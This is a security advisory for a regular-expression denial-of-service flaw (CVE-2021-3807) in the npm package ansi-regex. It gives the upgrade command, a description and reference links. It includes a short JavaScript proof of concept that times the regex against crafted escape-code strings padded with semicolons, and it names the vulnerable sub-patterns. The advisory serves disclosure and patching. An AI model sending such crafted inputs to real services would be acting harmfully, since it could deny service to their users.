GHSA-93q8-gq69-wqmw
Inefficient Regular Expression Complexity in chalk/ansi-regex
Quick fix
GHSA-93q8-gq69-wqmw — ansi-regex: upgrade to the fixed version with the command below.
npm install ansi-regex@6.0.1Details
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
**Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`
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Affected packages
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-3807 [ADVISORY]
- https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311 [WEB]
- https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774 [WEB]
- https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1 [WEB]
- https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a [WEB]
- https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9 [WEB]
- https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8 [WEB]
- https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908 [WEB]
- https://github.com/chalk/ansi-regex [PACKAGE]
- https://github.com/chalk/ansi-regex/releases/tag/v6.0.1 [WEB]
- https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994 [WEB]
- https://security.netapp.com/advisory/ntap-20221014-0002 [WEB]
- https://www.oracle.com/security-alerts/cpuapr2022.html [WEB]